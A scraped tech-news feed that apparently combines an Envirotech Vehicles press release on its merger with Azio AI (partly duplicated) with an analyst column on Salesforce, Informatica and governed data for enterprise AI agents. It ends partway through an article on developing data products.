<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="noreferrer noopener">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="noreferrer noopener">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
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<title><![CDATA[Envirotech Vehicles Closes Merger with Azio AI Ahead of Schedule, Positioning Combined Company to Capture $487 Billion 2026 AI Infrastructure Opportunity]]></title>
<description><![CDATA[Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.



Envirotech Vehicles, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of ...]]></description>
<link>https://tsecurity.de/de/3651556/it-security-nachrichten/envirotech-vehicles-closes-merger-with-azio-ai-ahead-of-schedule-positioning-combined-company-to-capture-487-billion-2026-ai-infrastructure-opportunity/</link>
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<pubDate>Tue, 07 Jul 2026 14:52:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><em>Revised transaction structure enables immediate closing, accelerating the Company’s strategic pivot toward AI data centers, enterprise GPU compute, and digital power infrastructure.</em></p>



<p><a href="https://www.evtvusa.com/" target="_blank" rel="sponsored">Envirotech Vehicles</a>, Inc. (NASDAQ: EVTV) (“EVTV” or the “Company”) today announced the successful completion of its merger with Azio AI Corporation (“Azio AI”) on July 2, 2026, paving the way for the Company to transform to an AI Datacenter Provider and meeting the growing market demand for artificial intelligence (“AI”) infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; a market that the International Data Corporation (IDC) projects will reach $487 billion in global spending in 2026 and exceed $1 trillion by 2029.<a href="http://docs.google.com/blank" rel="sponsored">[1]</a> The transaction marks a defining milestone in the Company’s strategic transformation and establishes the foundation for its next phase of commercial execution and long-term growth.</p>



<p>The parties amended the proposed transaction structure to expedite the closing timeline, allowing the combined company to begin operating as a fully integrated public company significantly sooner than originally anticipated. The accelerated closing enables management to immediately focus on commercialization across its expanding AI Datacenter strategy.</p>



<p>With the merger complete and the combined company operating as one organization, management is now fully focused on commercial execution, infrastructure deployment, strategic growth initiatives, and creating long-term shareholder value.</p>



<p>Over the past several months, the Company advanced development activities at its South Texas site and deployed six megawatts of off-grid power for its modular data centers. The Company further secured rights to a 548-acre site with the capacity to scale up to 500 MW, supporting the future development of AI hyperscale data centers.</p>



<p>Management believes these achievements demonstrate that the combined company is entering its next phase with meaningful operational momentum already in place rather than beginning from a standing start. Infrastructure deployment is underway, customer commitments have already been established, commercial execution is actively progressing, and the Company’s corporate structure is now aligned with an operating platform built to support long-term expansion.</p>



<p>The completion of the merger comes at a time when investment in AI infrastructure continues to accelerate globally as enterprises increasingly require access to high-performance computing resources, GPU infrastructure, and scalable digital power solutions. Management believes the combined company is well positioned to capitalize on these long-term industry trends through a diversified infrastructure strategy designed to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations.</p>



<p>Following the closing of the transaction, the Company intends to continue expanding its AI Infrastructure strategy through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships designed to maximize utilization of its power resources while creating multiple long-term revenue opportunities.</p>



<p>In connection with the closing of the merger, Phillip Oldridge has stepped down as Chief Executive Officer. Jason Maddox vacates the President position and is now the Chief Financial Officer. The Company’s Board of Directors appointed Simon Yu as President and Chris Young as Chief Executive Officer, effective immediately.</p>



<p>Mr. Yu is a serial entrepreneur and public markets operator with almost a decade of experience taking companies public, executing capital raises, and scaling businesses. He has previously served in founder, C-suite, and board roles at three publicly traded companies, two of which reached market capitalizations in excess of $1 billion. Mr. Yu has led legal, accounting, and advisory teams through Regulation A+ Tier 2 offerings, PCAOB audits, and public company reporting, alongside leading M&amp;A transactions. As an active early-stage venture investor, he has evaluated investment opportunities across artificial intelligence, SaaS, and B2B technology.</p>



<p>Mr. Young brings extensive experience in launching and leading public companies and investing in and advising emerging technology companies, with a particular focus on artificial intelligence, software innovation, and strategic growth initiatives. Prior to joining EVTV, he served as Chief Executive Officer of Clubhouse Media Group, a publicly traded social media company and an Entrepreneur in Residence at Amplify, where he worked alongside founders and venture-backed technology companies to accelerate commercialization and support the development of high-growth technology businesses.</p>



<p>“Today’s announcement represents far more than the completion of a merger—it marks the beginning of our next chapter,” said Chris Young, Chief Executive Officer of EVTV. “Over the past several months, our teams have been building the operational foundation of this business while simultaneously working toward completing this transaction. With the merger now finalized, we move forward as one company with one leadership team and one strategy, focused on executing against the opportunities in front of us. We believe demand for AI infrastructure, enterprise compute, and digital infrastructure will continue expanding for years to come. Our objective is to build a scalable platform capable of serving that demand while creating long-term value for our shareholders.”</p>



<p>Jason Maddox, Chief Financial Officer of EVTV, added, “Completing this transaction under the amended merger structure allows us to immediately focus on execution. We have already established meaningful operational momentum, and we believe operating as a unified public company enhances our ability to deploy infrastructure, serve customers, pursue strategic growth opportunities, and continue building long-term shareholder value.”</p>



<p>The transaction establishes a unified operating platform designed to support the Company’s long-term growth strategy through continued investment in AI infrastructure, enterprise computing, digital power assets, and digital infrastructure development. Management believes the completion of the merger provides the operational and organizational foundation necessary to pursue the next phase of commercialization while expanding its presence across some of the fastest-growing sectors of the global technology market.</p>



<p><strong>Transaction and Operational Highlights</strong></p>



<ul class="wp-block-list">
<li>Successfully completed the merger with Azio AI pursuant to an amended and restated merger agreement.</li>



<li>Approximately six megawatts of off-grid digital infrastructure deployed at the Company’s South Texas development site.</li>



<li>Development footprint exceeding 548 acres with the potential to support up to 500 MW of AI infrastructure capacity.</li>



<li>Combined company positioned to accelerate commercialization across AI infrastructure, enterprise GPU compute, digital power solutions, and digital asset mining operations.</li>



<li>Merger consideration consisted of 2,655,157 shares of common stock and 973,450 shares of non-voting convertible preferred stock in exchange for 100% of outstanding capital stock of Azio AI, of which 194,807 shares of common stock were reserved for convertible notes of Azio AI assumed by the Company upon closing.</li>



<li>Each share of preferred stock convertible into 100 shares of Company common stock subject to stockholder approval.</li>



<li>Chris Young appointed Chief Executive Officer and Chairman of the Board.</li>



<li>Simon Yu appointed President.</li>



<li>Jason Maddox appointed Chief Financial Officer.</li>



<li>Phillip Oldridge stepped down as Chief Executive Officer.</li>
</ul>



<p><strong>About Envirotech Vehicles, Inc.</strong></p>



<p>Envirotech Vehicles, Inc. (NASDAQ: EVTV) is a technology infrastructure company focused on developing, owning, and operating artificial intelligence data centers, enterprise GPU compute infrastructure, digital power solutions, and digital asset mining operations. Following its acquisition of Azio AI, the Company operates an integrated AI infrastructure business encompassing AI data center development, the sale and distribution of enterprise GPU systems and server infrastructure, high-performance computing solutions, power hosting, and strategic technology investments, serving enterprise and institutional customers across domestic and international markets. Through this diversified AI infrastructure strategy, the Company is positioned to capitalize on the rapidly expanding global demand for AI infrastructure, compute capacity, digital power, and next-generation AI technologies.</p>



<p>For more information please visit: <a href="http://www.azioai.ai/" target="_blank" rel="sponsored">www.azioai.ai</a> and for potential partnerships contact: <a href="mailto:AI@PhoenixMGMTconsulting.com" target="_blank" rel="sponsored">AI@PhoenixMGMTconsulting.com</a></p>



<p><strong>Forward-Looking Statements</strong></p>



<p>This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In some cases, you can identify forward-looking statements by words such as “may,” “will,” “could,” “expect,” “anticipate,” “believe,” “estimate,” “project,” “intend,” “continue,” “potential,” “ongoing,” or the negative of these terms or other comparable terminology, although not all forward-looking statements contain these words. Forward-looking statements include statements regarding the Company’s ability to capitalize on accelerating demand for AI infrastructure, enterprise GPU compute, digital power solutions, data center development, and digital asset infrastructure; the Company’s plans to continue expanding its digital infrastructure platform through AI data center development, enterprise GPU compute solutions, power hosting services, digital asset mining operations, strategic infrastructure investments, and additional commercial partnerships; the Company’s ability to maximize utilization of its power resources while creating multiple long-term revenue opportunities; the ability to continue deploying modular digital infrastructure at the Company’s South Texas site; the anticipated deployment and scaling of NVIDIA B200 and B300 GPU systems; the ability to advance and execute against the Company’s commercial infrastructure pipeline; the anticipated development of the Company’s footprint; the ability to monetize power assets across multiple complementary revenue streams, including AI data centers, enterprise compute infrastructure, power hosting, and digital asset mining operations; customer demand for AI infrastructure, enterprise compute, and digital infrastructure; the Company’s ability to build a scalable platform designed to serve that demand and create long-term shareholder value; and the Company’s broader business strategy and long-term growth objectives.</p>



<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
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<title><![CDATA[Why trusted context is becoming the currency for enterprise AI]]></title>
<description><![CDATA[AI is getting most of the attention in enterprise technology. Governance, ownership, and data quality do most of the heavy lifting behind the scenes. And yet, as organizations move from AI experiments to production deployments, trusted context is becoming a key factor in determining whether agent...]]></description>
<link>https://tsecurity.de/de/3650969/ai-nachrichten/why-trusted-context-is-becoming-the-currency-for-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650969/ai-nachrichten/why-trusted-context-is-becoming-the-currency-for-enterprise-ai/</guid>
<pubDate>Tue, 07 Jul 2026 11:04:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>AI is getting most of the attention in enterprise technology. Governance, ownership, and data quality do most of the heavy lifting behind the scenes. And yet, as organizations move from AI experiments to production deployments, trusted context is becoming a key factor in determining whether agents create business value — or operational risk.</p>



<p>That shift is reshaping how Salesforce, Microsoft, Snowflake, Databricks, SAP, Oracle, and others are positioning their data, governance, metadata, and integration services. The conversation is no longer just about models. It’s about whether AI systems can operate against trusted, governed, and business-relevant information.</p>



<p>Trusted context has become the new currency, and Salesforce has made a strategic commitment to it.</p>



<h2 class="wp-block-heading">Agentic AI is exposing the problems master data management was designed to solve</h2>



<p>Master data management (MDM) spent much of the last decade as an important but often overlooked infrastructure. AI is changing that. Agentic systems can identify duplicate records, inconsistent definitions, fragmented ownership, and poor governance the moment AI begins interacting with enterprise data and processes.</p>



<p>I recently wrote about <a href="https://www.forbes.com/sites/moorinsights/2026/01/15/weak-data-management-hinders-enterprise-ai-salesforce-research-shows/">Salesforce’s State of Data and Analytics research</a>, which found that 84% of data leaders believe their organizations need significant changes to their data strategies before AI can succeed at scale. That finding shows what many enterprises are now experiencing. AI often exposes data and governance issues that have existed for years.</p>



<p><a href="https://www.linkedin.com/in/manoujtahiliani/" data-type="link" data-id="https://www.linkedin.com/in/manoujtahiliani/">Manouj Tahiliani</a>, senior vice president for MDM at Informatica, now part of Salesforce, said, “Trusted context is becoming the new currency in enterprise AI.” His argument is that trusted context is the connected, governed view of customers, products, and suppliers that lets an agent act like a tenured employee. Models and agents will commoditize. Differentiation comes from how well an agent understands the enterprise, which depends on the data underneath. AI is not a model problem. It is a data foundation problem with an agent interface bolted on top.</p>



<h2 class="wp-block-heading">Salesforce is expanding its definition of the data layer</h2>



<p>Salesforce completed its acquisition of Informatica in November 2025. The acquisition strengthens Salesforce’s position around data quality, governance, metadata, lineage, and MDM. It also reflects the market reality. Every major enterprise platform provider is trying to create a trusted layer that connects operational systems, business context, and AI.</p>



<p>Marc Benioff, CEO of Salesforce, summarized the rationale when the deal closed. Organizations need trusted, connected, and governed data before they can expect meaningful outcomes from AI. While that statement may sound obvious, it reflects one of the biggest challenges organizations continue to face as AI moves into production.</p>



<p>The combined strategy brings together Tableau for analytics, MuleSoft for integration and Agent Fabric, Data 360 (formerly Data Cloud) for data unification, and Informatica for governance, quality, stewardship, and MDM. The goal is not simply data consolidation. The goal is creating a consistent layer of business context that can be used across applications, workflows, and AI systems. </p>



<p>Salesforce is not alone. Microsoft, for example, is building around Fabric, OneLake, Purview, and Fabric IQ. Snowflake continues expanding governance, semantic, and catalog capabilities. Databricks is advancing Unity Catalog and its broader Data Intelligence Platform strategy. SAP and Oracle are pursuing similar objectives through business applications and industry-specific data models. The competitive landscape is increasingly shifting from data storage and analytics toward trusted context, governance, and operational execution. </p>



<p>Early adoption metrics suggest the strategy is gaining traction, although long-term success will be measured by customer outcomes, implementation timelines, and operational value. Data 360 has grown within Salesforce, Agentforce adoption continues to expand, and deeper integration between Informatica, Data 360, and Agent Fabric is expected throughout 2026.</p>



<h2 class="wp-block-heading">Informatica extends governance into the agent era</h2>



<p>The Intelligent Data Management Cloud (IDMC) remains the foundation underneath Informatica’s data management strategy. It provides metadata-aware connectivity, governance, stewardship, matching, merging, and master data capabilities across applications, databases, files, and streaming sources.</p>



<p>For most enterprises, the number of connectors is less important than whether governance, ownership, quality, and lineage remain consistent across systems. Connectivity alone rarely solves data problems. Operational discipline does.</p>



<p>What is changing is how those capabilities are being exposed to AI systems. Salesforce and Informatica are positioning governance and data management services as capabilities that agents can access directly through <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> and related interfaces. The value is not the protocol itself. The value is allowing AI systems to interact with governed enterprise information while maintaining lineage, governance, ownership, and security controls.</p>



<p>Headless data management is also becoming more important. Organizations want agents, applications, and workflows to access trusted services without custom integrations for every use case. If executed effectively, that approach could simplify how AI systems consume enterprise data while preserving governance standards.</p>



<h2 class="wp-block-heading">Why many data programs continue to struggle</h2>



<p>Industry research has consistently shown that many MDM initiatives struggle to achieve their original business objectives. Governance arrives too late. Executive sponsorship is weak. Ownership remains unclear. Business units maintain competing definitions. Technology is expected to solve organizational problems.</p>



<p>One of the recurring issues I see across enterprises is that technology decisions often move faster than governance models. Organizations frequently deploy tools before establishing ownership, stewardship, and accountability. AI tends to expose those gaps very quickly.</p>



<p>The challenge becomes more complicated as enterprises deploy agents across ERP, CRM, finance, supply chain, and operational systems simultaneously. Visibility, accountability, and governance become increasingly important as AI systems move beyond recommendations and begin to influence business processes.</p>



<p>This is where Informatica’s Agent Fabric Context Catalog becomes relevant. The concept is less about cataloging technology and more about providing visibility into how agents are deployed, governed, monitored, and controlled.</p>



<p>Tahiliani offered advice that aligns with what I often tell clients. Start with business priorities. Translate those priorities into a data strategy. Then select the architecture and technology required to support it. Many organizations still approach the process in reverse, struggling to generate business value.</p>



<h2 class="wp-block-heading">The competitive landscape extends beyond traditional MDM</h2>



<p>MDM is not a single-vendor market. Gartner’s 2026 Magic Quadrant leaders include Salesforce (Informatica), Profisee, Reltio, Semarchy, and Stibo Systems. Each vendor approaches the market differently. Profisee remains closely aligned with Microsoft environments. Reltio, which SAP acquired in May 2026, continues to differentiate through graph-oriented architecture and API-first design. Semarchy brings strengths where integration and MDM converge. Stibo maintains a strong position in product information management and retail-focused environments.</p>



<p>Informatica’s key strengths continue to be its broad capabilities, mature governance, and growing alignment with Salesforce. The larger question is execution. Enterprises will want evidence that implementation timelines, governance complexity, and time-to-value improve as the roadmap evolves. </p>



<p>Historically, Informatica implementations have required significant investment, governance discipline, and organizational commitment. Salesforce will need to demonstrate that the combined strategy can simplify adoption while maintaining the governance rigor many customers expect.</p>



<h2 class="wp-block-heading">Yum Brands and TELUS show what trusted context looks like in practice</h2>



<p>Yum Brands, the parent company of KFC, Pizza Hut, Taco Bell, and Habit Burger Grill, operates more than 63,000 restaurant locations globally. According to company leadership, significant effort was being spent consolidating and cleansing location data before it could be used effectively across the business. Informatica MDM became a central component of the company’s modernization effort.</p>



<p>TELUS represents a different use case. The Canadian telecommunications and health services provider uses Informatica MDM Cloud Edition and Customer 360 to improve customer visibility across the organization. Integrating acquisition data into a unified customer view enabled more effective measurement of marketing performance and improved opportunities for targeted cross-sell initiatives.</p>



<p>Neither example proves the broader strategy on its own. Both illustrate a pattern that continues to emerge across enterprise AI initiatives. Data management investments create value when they improve operational execution, decision-making, and business outcomes rather than simply improving data quality metrics. </p>



<p>The common theme is that trusted information is becoming a foundational requirement for organizations attempting to scale AI, analytics, and operational decision-making.</p>



<h2 class="wp-block-heading">What Salesforce and enterprise buyers still need to prove</h2>



<p>The questions that separate successful data programs from costly tech projects are straightforward. Is there clear ownership for each data domain? Is governance embedded from the beginning rather than added later? Can governance and data management services be consumed directly by AI systems? Can compliance, security, and operational controls scale alongside AI adoption?</p>



<p>These questions matter more than any individual AI feature announcement. For Salesforce, the next phase requires measurable proof points. Customer references are encouraging, but enterprises will want audited outcomes, implementation metrics, and long-term operational results. I believe that success in enterprise AI won’t come from having the best model. Instead, it will come from the team with the clearest, best-governed data to support their efforts. This reflects how ERP systems are evolving, not being replaced, with an emphasis on enhancing the core data rather than just updating the technology.</p>



<p>Salesforce has made a decisive commitment to making trusted context essential to enterprise AI, setting a high standard that all other vendors must meet. The proof will not be in the keynotes. It will be in the stores Yum can finally report on, the households TELUS can finally sell into, and the next 10 customer stories about successful AI integration.</p>



<p>—</p>



<p><strong><em>Disclosure:</em></strong><em> KramerERP offers paid services to technology companies, similar to those provided by other technology research and analyst firms. These services include research, analysis, advisory services, consulting, benchmarking, acquisition matchmaking, video sponsorships, speaking sponsorships and other related activities. KramerERP has worked with, or is currently working with, companies mentioned in this article.</em><br></p>
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<title><![CDATA[Five tips for developing data products]]></title>
<description><![CDATA[Data products help standardize how raw data sets, data warehouse views, and data lake logical views are combined and used to deliver analytics and AI capabilities. By developing data products, teams can streamline much of the upfront data pipelines, governance, and management needed to deliver tr...]]></description>
<link>https://tsecurity.de/de/3650966/ai-nachrichten/five-tips-for-developing-data-products/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650966/ai-nachrichten/five-tips-for-developing-data-products/</guid>
<pubDate>Tue, 07 Jul 2026 11:04:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Data products help standardize how raw data sets, data warehouse views, and <a href="https://www.infoworld.com/article/2335103/what-is-a-data-lake-massively-scalable-storage-for-big-data-analytics.html">data lake</a> logical views are combined and used to deliver analytics and AI capabilities. By developing data products, teams can streamline much of the upfront <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>, <a href="https://www.infoworld.com/article/3956251/measuring-success-in-dataops-data-governance-and-data-security.html">governance</a>, and <a href="https://drive.starcio.com/2025/06/data-management-cios-genai-era/">management</a> needed to deliver trusted data assets that people, tools, and AI can then use for different purposes.</p>



<p>The way you cook a meal can serve as a helpful analogy. You can choose to purchase only raw ingredients like tomatoes, wheat flour, eggs, and fresh herbs to make a favorite pasta dish. The approach works well when you have the time and skills to cook from scratch or want to prepare a nice meal for a small family. Otherwise, you may want to buy canned tomatoes, your favorite box of pasta, and a spice mix to cook the same meal, especially if you are time-constrained, are cooking for many people, or want a consistent finished product.  </p>



<p>Like the not-from-scratch pasta meal, data products provide a similar level of time-saving effort, so that analytics and AI capabilities start with consistent, streamlined ingredients. Here are five questions teams should consider as they develop data products and their standards.</p>



<h2 class="wp-block-heading">When to build a data product?</h2>



<p>Most organizations can’t afford to develop data products as intermediaries for every data visualization, machine learning model, or <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">AI agent</a>. There’s cost and time to develop data products, and once they’re deployed or “on the shelves,” their <a href="https://www.infoworld.com/article/3479075/5-things-great-data-science-product-managers-do.html">product managers</a> must oversee their ongoing support and life-cycle management. So when should <a href="https://drive.starcio.com/2020/08/data-science-dataops-agile/">agile data teams</a> develop data products, and how should they prioritize which ones are more important? One starting point is to consider data products built from a single data set and what it means to productize them.</p>



<p>“A data set should really become a data product when multiple teams start relying on it to make decisions or to power applications,” says Danielle Ben-Gera, vice president of engineering at <a href="https://www.crunchbase.com/">Crunchbase</a>. “Developing proper governance, clear ownership, versioning, and a managed life cycle for changes becomes important, or you’ll just be shipping fragile pipelines that break downstream work.”</p>



<p>A second consideration is treating the use of ungoverned data sets as a form of <a href="https://www.infoworld.com/article/3691789/6-ways-to-avoid-and-reduce-data-debt.html">data debt</a>. Establishing a data product can be a tactical approach to standardize usage and address risks.</p>



<p>“Organizations should build a data product when data sets are being used across teams without strong governance, well-defined processes, or clear ownership,” says Yaad Oren, managing director at SAP Labs US and global head of research and innovation at <a href="https://www.sap.com/index.html">SAP</a>. “When anchored in a unified data foundation, data products eliminate silos, create shared understanding, and establish secure, standardized access that enables teams to leverage the same assets with confidence.”</p>



<p>A third consideration is to apply manufacturing principles by building data products for defined customers, driving reuse, and creating efficiencies. Drafting the data product’s vision statement and <a href="https://drive.starcio.com/2026/02/why-chaotic-ai-experiments-arent-producing-business-value/">qualifying its business value</a> is particularly important when a data product requires combining multiple data sources. It raises the question of how standardization delivers efficiencies, improves quality, reduces data security risks, and provides other benefits.</p>



<p>Christopher Zangrilli, vice president of technology strategy at <a href="https://www.vertexinc.com/">Vertex</a>, says, “Leaders should ask whether the data will reduce cycle time, improve decision accuracy, or mitigate compliance risk as a lens on the business impact. When governance, change management for adoption, quality, and value measurement are embedded from the start, data products transform from experimental tools to strategic assets.”</p>



<h2 class="wp-block-heading">Why define standards for data products?</h2>



<p>The products at the grocery store have packaging with a detailed list of ingredients, an expiration date, and a price. Data governance leaders should also standardize how data products are defined, cataloged, and managed. </p>



<p>“Any modern data product should answer four questions clearly: where the data originates, how it transforms across systems, who or what is consuming it, and what governance obligations apply at every step,” says Abhi Sharma, cofounder and CEO at <a href="https://www.relyance.ai/">Relyance AI</a>. “Without that end-to-end context, teams are building features on top of data they don’t fully understand.”</p>



<p>Although food products publish their ingredients and label them for dietary restrictions, few document the sourcing of raw ingredients and the logistics of the path from farm to grocer. But when building data products, <a href="https://www.infoworld.com/article/3613592/data-lineage-what-it-is-and-why-its-important.html">capturing data lineage</a> may be required in regulated industries and is particularly important when standardizing data sources for AI applications. </p>



<p>“Without lineage, teams operate blind, and governance becomes reactive cleanup,” says Carter Page, executive vice president of research and development at <a href="https://www.astronomer.io/">Astronomer</a>. “When teams can see where data originated, how it was transformed, and every system that relies on it, updates become predictable, the right pipelines get tested, the target stakeholders are notified, and breaking changes are documented before they cause incidents.”</p>



<h2 class="wp-block-heading">What is a data product’s life cycle?</h2>



